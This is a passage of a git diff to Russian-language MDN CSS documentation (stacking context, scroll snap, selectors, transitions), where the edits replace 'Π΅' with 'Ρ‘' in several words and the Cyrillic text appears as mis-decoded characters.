<p>ΠšΠΎΠ½Ρ‚Π΅ΠΊΡΡ‚ ΠΌΠΎΠΆΠ΅Ρ‚ Ρ„ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π² любом мСстС Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, Π»ΡŽΠ±Ρ‹ΠΌ элСмСнтом, Ρƒ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ выполняСтся ΠΎΠ΄Π½ΠΎ ΠΈΠ· ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… условий:Β </p>
@@ -34,18 +34,18 @@ translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_conte
<p>Π‘ΡƒΠΌΠΌΠΈΡ€ΡƒΠ΅ΠΌ:</p>
<ul>
- <li>ΠŸΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΈ присваиваниС HTML элСмСнтам свойства z-index создаСт контСкст налоТСния, (Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΊΠ°ΠΊ ΠΈ присваиваниС элСмСнту opacity мСньшС 1).</li>
+ <li>ΠŸΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΈ присваиваниС HTML элСмСнтам свойства z-index создаёт контСкст налоТСния, (Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΊΠ°ΠΊ ΠΈ присваиваниС элСмСнту opacity мСньшС 1).</li>
<li>ΠšΠΎΠ½Ρ‚Π΅ΠΊΡΡ‚Ρ‹ налоТСния ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Ρ‡Π°ΡΡ‚ΡŒΡŽ Π΄Ρ€ΡƒΠ³ΠΈΡ… контСкстов налоТСния ΠΈ вмСстС ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ ΠΈΠ΅Ρ€Π°Ρ€Ρ…ΠΈΡŽ контСкстов налоТСния.Β </li>
- <li>ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ контСкст налоТСния Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎ нСзависим ΠΎΡ‚ своСго сосСда: Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΠΎΠ΄Ρ‡ΠΈΠ½Π΅Π½Π½Ρ‹Π΅ элСмСнты ΡƒΡ‡ΠΈΡ‚Ρ‹Π²Π°ΡŽΡ‚ΡΡ ΠΏΡ€ΠΈ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ контСкста налоТСния.</li>
+ <li>ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ контСкст налоТСния Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎ нСзависим ΠΎΡ‚ своСго сосСда: Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΠΎΠ΄Ρ‡ΠΈΠ½Ρ‘Π½Π½Ρ‹Π΅ элСмСнты ΡƒΡ‡ΠΈΡ‚Ρ‹Π²Π°ΡŽΡ‚ΡΡ ΠΏΡ€ΠΈ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ контСкста налоТСния.</li>
</ul>
-<div class="note"><strong>Note:</strong> Π˜Π΅Ρ€Π°Ρ€Ρ…ΠΈΡ контСкстов налоТСния являСтся подмноТСством ΠΈΠ΅Ρ€Π°Ρ€Ρ…ΠΈΠΈ HTML элСмСнтов, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ элСмСнты ΡΠΎΠ·Π΄Π°ΡŽΡ‚ контСксты налоТСния. МоТно ΡΠΊΠ°Π·Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ элСмСнты, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΡΠΎΠ·Π΄Π°ΡŽΡ‚ собствСнного контСкста налоТСния, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ контСкст налоТСния родитСля.</div>
+<div class="note"><strong>Note:</strong> Π˜Π΅Ρ€Π°Ρ€Ρ…ΠΈΡ контСкстов налоТСния являСтся подмноТСством ΠΈΠ΅Ρ€Π°Ρ€Ρ…ΠΈΠΈ HTML элСмСнтов, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ элСмСнты ΡΠΎΠ·Π΄Π°ΡŽΡ‚ контСксты налоТСния. МоТно ΡΠΊΠ°Π·Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ элСмСнты, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΡΠΎΠ·Π΄Π°ΡŽΡ‚ собствСнного контСкста налоТСния, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ контСкст налоТСния родитСля.</div>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€"><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ€</strong></h2>
<p><img alt="Example of stacking rules modified using z-index" src="/@api/deki/files/913/=Understanding_zindex_04.png"></p>
-<p>Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ элСмСнт создаСт свой контСкст налоТСния, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΈΠΌΠ΅Π΅Ρ‚ свойства positionΒ ΠΈ z-index. Π˜Π΅Ρ€Π°Ρ€Ρ…ΠΈΡ контСкстов налоТСния выглядит ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
+<p>Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ элСмСнт создаёт свой контСкст налоТСния, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΈΠΌΠ΅Π΅Ρ‚ свойства positionΒ ΠΈ z-index. Π˜Π΅Ρ€Π°Ρ€Ρ…ΠΈΡ контСкстов налоТСния выглядит ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
<ul>
<li>Root
diff --git a/files/ru/web/css/css_scroll_snap/basic_concepts/index.html b/files/ru/web/css/css_scroll_snap/basic_concepts/index.html
index a6ab4ae735..ceb30aa8ab 100644
--- a/files/ru/web/css/css_scroll_snap/basic_concepts/index.html
+++ b/files/ru/web/css/css_scroll_snap/basic_concepts/index.html
@@ -21,7 +21,7 @@ translation_of: Web/CSS/CSS_Scroll_Snap/Basic_concepts
<p>Π’Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒ ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ слова <code>mandatory</code>, ΠΈΠ»ΠΈΒ <code>proximity</code>. ΠšΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово <code>mandatory</code> опрСдСляСт ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ смСщСниС прокрутки Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Β ΠΊ блиТайшСй Ρ‚ΠΎΡ‡ΠΊΠ΅ привязки. ΠšΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово <code>proximity</code> ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ привязка ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΡ‚ΠΈ , Π½ΠΎ Π½Π΅ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ.</p>
-<p>ИспользованиС <code>mandatory</code>Β Π΄Π΅Π»Π°Π΅Ρ‚ взаимодСйствиС с интСрфСйсом ΠΎΠ΄Π½ΠΎΡ€ΠΎΠ΄Π½Ρ‹ΠΌ ΠΈ прСдсказуСмым — Π²Ρ‹ Π·Π½Π°Π΅Ρ‚Π΅, Ρ‡Ρ‚ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ всСгда Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΌΠ΅Ρ‰Π°Ρ‚ΡŒ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ видимости ΠΊ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Π·Π°Π΄Π°Π½Π½ΠΎΠΉΒ Ρ‚ΠΎΡ‡ΠΊΠ΅ привязки.Β Π­Ρ‚ΠΎ Π΄Π°Ρ‘Ρ‚ ΡƒΠ²Π΅Ρ€Π΅Π½Π½ΠΎΡΡ‚ΡŒ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π² послС ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΠΈ экрана, Π² Π΅Π³ΠΎ Π²Π΅Ρ€Ρ…Π½Π΅ΠΉ части окаТСтся ΠΈΠΌΠ΅Π½Π½ΠΎ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΈ ΠΎΠΆΠΈΠ΄Π°Π΅Ρ‚Π΅ Ρ‚Π°ΠΌ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ.Однако, это ΠΌΠΎΠΆΠ΅Ρ‚ привСсти ΠΈ ΠΊ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°ΠΌ, Ссли содСрТимоС слишком большоС ΠΏΠΎ высотС — ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΠΎΠΊΠ°Π·Π°Ρ‚ΡŒΡΡ Π² ΠΎΡ‡Π΅Π½ΡŒ нСприятной ситуации, Π½Π΅ имСя возмоТности ΠΏΠ΅Ρ€Π΅ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒΡΡ ΠΊ опрСдСлСнному мСсту на страницС страницС. Π‘Π»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅Β <code>mandatory</code>Β Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ Ρ‚Ρ‰Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΡ€ΠΎΠ΄ΡƒΠΌΠ°Π½Π½Ρ‹ΠΌΒ ΠΈ использовано Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² Ρ‚Π΅Ρ… ситуациях, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Ρ‚ΠΎΡ‡Π½ΠΎ Π·Π½Π°Π΅Ρ‚Π΅, ΠΊΠ°ΠΊΠΎΠ΅ количСство содСрТимого Π±ΡƒΠ΄Π΅Ρ‚ Π½Π° экранС Π² ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ.</p>
+<p>ИспользованиС <code>mandatory</code>Β Π΄Π΅Π»Π°Π΅Ρ‚ взаимодСйствиС с интСрфСйсом ΠΎΠ΄Π½ΠΎΡ€ΠΎΠ΄Π½Ρ‹ΠΌ ΠΈ прСдсказуСмым — Π²Ρ‹ Π·Π½Π°Π΅Ρ‚Π΅, Ρ‡Ρ‚ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ всСгда Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΌΠ΅Ρ‰Π°Ρ‚ΡŒ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ видимости ΠΊ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Π·Π°Π΄Π°Π½Π½ΠΎΠΉΒ Ρ‚ΠΎΡ‡ΠΊΠ΅ привязки.Β Π­Ρ‚ΠΎ Π΄Π°Ρ‘Ρ‚ ΡƒΠ²Π΅Ρ€Π΅Π½Π½ΠΎΡΡ‚ΡŒ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π² послС ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΠΈ экрана, Π² Π΅Π³ΠΎ Π²Π΅Ρ€Ρ…Π½Π΅ΠΉ части окаТСтся ΠΈΠΌΠ΅Π½Π½ΠΎ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΈ ΠΎΠΆΠΈΠ΄Π°Π΅Ρ‚Π΅ Ρ‚Π°ΠΌ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ.Однако, это ΠΌΠΎΠΆΠ΅Ρ‚ привСсти ΠΈ ΠΊ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°ΠΌ, Ссли содСрТимоС слишком большоС ΠΏΠΎ высотС — ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΠΎΠΊΠ°Π·Π°Ρ‚ΡŒΡΡ Π² ΠΎΡ‡Π΅Π½ΡŒ нСприятной ситуации, Π½Π΅ имСя возмоТности ΠΏΠ΅Ρ€Π΅ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒΡΡ ΠΊ опрСдСлённому мСсту на страницС страницС. Π‘Π»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅Β <code>mandatory</code>Β Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ Ρ‚Ρ‰Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΡ€ΠΎΠ΄ΡƒΠΌΠ°Π½Π½Ρ‹ΠΌΒ ΠΈ использовано Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² Ρ‚Π΅Ρ… ситуациях, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Ρ‚ΠΎΡ‡Π½ΠΎ Π·Π½Π°Π΅Ρ‚Π΅, ΠΊΠ°ΠΊΠΎΠ΅ количСство содСрТимого Π±ΡƒΠ΄Π΅Ρ‚ Π½Π° экранС Π² ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ.</p>
<p>ΠŸΡ€ΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΈΒ <code>proximity</code> привязка Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡΡƒΡ‰Π΅ΡΡ‚Π²Π»ΡΡ‚ΡŒΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² Ρ‚Π΅Ρ… ситуациях, ΠΊΠΎΠ³Π΄Π° ΠΎΠ±Π»Π°ΡΡ‚ΡŒ видимости находится достаточно Π±Π»ΠΈΠ·ΠΊΠΎΒ ΠΊ Ρ‚ΠΎΡ‡ΠΊΠ΅ привязки.Β ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ точного расстояния, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ это Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΎΠΈΡΡ…ΠΎΠ΄ΠΈΡ‚ΡŒ, остаётся Π·Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ. Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π½ΠΈΠΆΠ΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ с <code>mandatory</code> Π½Π°Β <code>proximity</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, ΠΊΠ°ΠΊ это влияСт Π½Π° Ρ€Π°Π±ΠΎΡ‚Ρƒ ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΠΈ.</p>
diff --git a/files/ru/web/css/css_selectors/index.html b/files/ru/web/css/css_selectors/index.html
index 039e006a62..90a32e92c9 100644
--- a/files/ru/web/css/css_selectors/index.html
+++ b/files/ru/web/css/css_selectors/index.html
@@ -18,7 +18,7 @@ original_slug: Web/CSS/CSS_Π‘Π΅Π»Π΅ΠΊΡ‚ΠΎΡ€Ρ‹
<dl>
<dt><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Universal_selectors">Π£Π½ΠΈΠ²Π΅Ρ€ΡΠ°Π»ΡŒΠ½Ρ‹ΠΉ сСлСктор</a></dt>
- <dd>Π’Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚ всС элСмСнты. По ТСланию, ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ пространством ΠΈΠΌΠ΅Π½ ΠΈΠ»ΠΈ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚ΡŒΡΡ ΠΊΠΎ всСму пространству ΠΈΠΌΡ‘Π½.<br>
+ <dd>Π’Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚ всС элСмСнты. По ТСланию, ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ пространством ΠΈΠΌΡ‘Π½ ΠΈΠ»ΠΈ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚ΡŒΡΡ ΠΊΠΎ всСму пространству ΠΈΠΌΡ‘Π½.<br>
<strong>Бинтаксис:</strong> <code>*</code> <code><var>ns</var>|*</code> <code>*|*</code><br>
<strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ€:</strong> <code>*</code> Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ всСм элСмСнтам Π½Π° страницС.</dd>
</dl>
@@ -31,11 +31,11 @@ original_slug: Web/CSS/CSS_Π‘Π΅Π»Π΅ΠΊΡ‚ΠΎΡ€Ρ‹
<dt><a href="/en-US/docs/Web/CSS/Class_selectors">Π‘Π΅Π»Π΅ΠΊΡ‚ΠΎΡ€Ρ‹ ΠΏΠΎ классу</a></dt>
<dd>Π­Ρ‚ΠΎΡ‚ Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ сСлСктор Π²Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚ элСмСнты, ΠΎΡΠ½ΠΎΠ²Ρ‹Π²Π°ΡΡΡŒ Π½Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΈ ΠΈΡ… Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°Β <code>class</code>.<br>
<strong>Бинтаксис: </strong> <code>.<em>имяКласса</em></code><br>
- <strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ€: </strong>сСлСктор<strong>Β </strong><code>.index</code>Β Π²Ρ‹Π±Π΅Ρ€Π΅Ρ‚ всС элСмСнты с ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌΒ ΠΊΠ»Π°ΡΡΠΎΠΌ (ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±Ρ‹Π» ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ Π² Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π΅ <code>class="index"</code>).</dd>
+ <strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ€: </strong>сСлСктор<strong>Β </strong><code>.index</code>Β Π²Ρ‹Π±Π΅Ρ€Π΅Ρ‚ всС элСмСнты с ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌΒ ΠΊΠ»Π°ΡΡΠΎΠΌ (ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±Ρ‹Π» ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ Π² Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π΅ <code>class="index"</code>).</dd>
<dt><a href="/en-US/docs/Web/CSS/ID_selectors">Π‘Π΅Π»Π΅ΠΊΡ‚ΠΎΡ€Ρ‹ ΠΏΠΎΒ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Ρƒ</a></dt>
<dd>Π­Ρ‚ΠΎΡ‚ Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ сСлСктор Π²Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚ элСмСнты, ΠΎΡΠ½ΠΎΠ²Ρ‹Π²Π°ΡΡΡŒ Π½Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΈ ΠΈΡ… <code>id</code>Β Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°. НС Π·Π°Π±Ρ‹Π²Π°ΠΉΡ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Β Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΌ, Ρ‚. Π΅. ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для ΠΎΠ΄Π½ΠΎΠ³ΠΎ элСмСнта Π² HTML-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅.Β <br>
<strong>Бинтаксис: </strong> <code>#ΠΈΠΌΡΠ˜Π΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Π°</code><br>
- <strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ€: </strong>сСлСктор <code>#toc</code>Β Π²Ρ‹Π±Π΅Ρ€Π΅Ρ‚ элСмСнт с ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ΠΎΠΌΒ toc (ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±Ρ‹Π» ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ Π² Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π΅ <code>id="toc"</code>).</dd>
+ <strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ€: </strong>сСлСктор <code>#toc</code>Β Π²Ρ‹Π±Π΅Ρ€Π΅Ρ‚ элСмСнт с ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ΠΎΠΌΒ toc (ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±Ρ‹Π» ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ Π² Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π΅ <code>id="toc"</code>).</dd>
<dt><a href="/en-US/docs/Web/CSS/Attribute_selectors">Π‘Π΅Π»Π΅ΠΊΡ‚ΠΎΡ€Ρ‹ ΠΏΠΎ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρƒ</a></dt>
<dd>Π­Ρ‚ΠΎΡ‚ сСлСктор Π²Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚ всС элСмСнты, ΠΈΠΌΠ΅ΡŽΡ‰ΠΈΠ΅ Π΄Π°Π½Π½Ρ‹ΠΉ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ ΠΈΠ»ΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ.<br>
<strong>Бинтаксис:</strong> <code>[attr] [attr=value] [attr~=value] [attr|=value] [attr^=value] [attr$=value] [attr*=value]</code><br>
diff --git a/files/ru/web/css/css_transitions/using_css_transitions/index.html b/files/ru/web/css/css_transitions/using_css_transitions/index.html
index 69572dcdd2..883e0dbca5 100644
--- a/files/ru/web/css/css_transitions/using_css_transitions/index.html
+++ b/files/ru/web/css/css_transitions/using_css_transitions/index.html
@@ -15,7 +15,7 @@ translation_of: Web/CSS/CSS_Transitions/Using_CSS_transitions
<h2 id="КакиС_CSS_свойства_Π°Π½ΠΈΠΌΠΈΡ€ΡƒΡŽΡ‚ΡΡ">КакиС CSS свойства Π°Π½ΠΈΠΌΠΈΡ€ΡƒΡŽΡ‚ΡΡ?</h2>
-<p>Π Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΊΠ°ΠΊΠΎΠ΅ свойство ΠΈ ΠΊΠ°ΠΊ Π°Π½ΠΈΠΌΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ. Π­Ρ‚ΠΎ позволяСт ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ слоТныС ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Ρ‹. Π’Π°ΠΊ ΠΊΠ°ΠΊΒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ свойства Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ смысла Π°Π½ΠΈΠΌΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ, ΠΏΠ΅Ρ€Π΅Ρ‡Π΅Π½ΡŒ<a href="/en-US/docs/CSS/CSS_animated_properties"> доступных для анимирования свойств </a>ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ Π½Π°Π±ΠΎΡ€ΠΎΠΌ.</p>
+<p>Π Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΊΠ°ΠΊΠΎΠ΅ свойство ΠΈ ΠΊΠ°ΠΊ Π°Π½ΠΈΠΌΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ. Π­Ρ‚ΠΎ позволяСт ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ слоТныС ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Ρ‹. Π’Π°ΠΊ ΠΊΠ°ΠΊΒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ свойства Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ смысла Π°Π½ΠΈΠΌΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ, ΠΏΠ΅Ρ€Π΅Ρ‡Π΅Π½ΡŒ<a href="/en-US/docs/CSS/CSS_animated_properties"> доступных для анимирования свойств </a>ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ Π½Π°Π±ΠΎΡ€ΠΎΠΌ.</p>
<div class="note">Π—Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅: ΠŸΠ΅Ρ€Π΅Ρ‡Π΅Π½ΡŒ Π°Π½ΠΈΠΌΠΈΡ€ΡƒΠ΅ΠΌΡ‹Ρ… свойств ΠΌΠΎΠΆΠ΅Ρ‚ ΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ ΠΏΠΎ ΠΌΠ΅Ρ€Π΅ измСнСния спСцификации.</div>
@@ -60,7 +60,7 @@ translation_of: Web/CSS/CSS_Transitions/Using_CSS_transitions
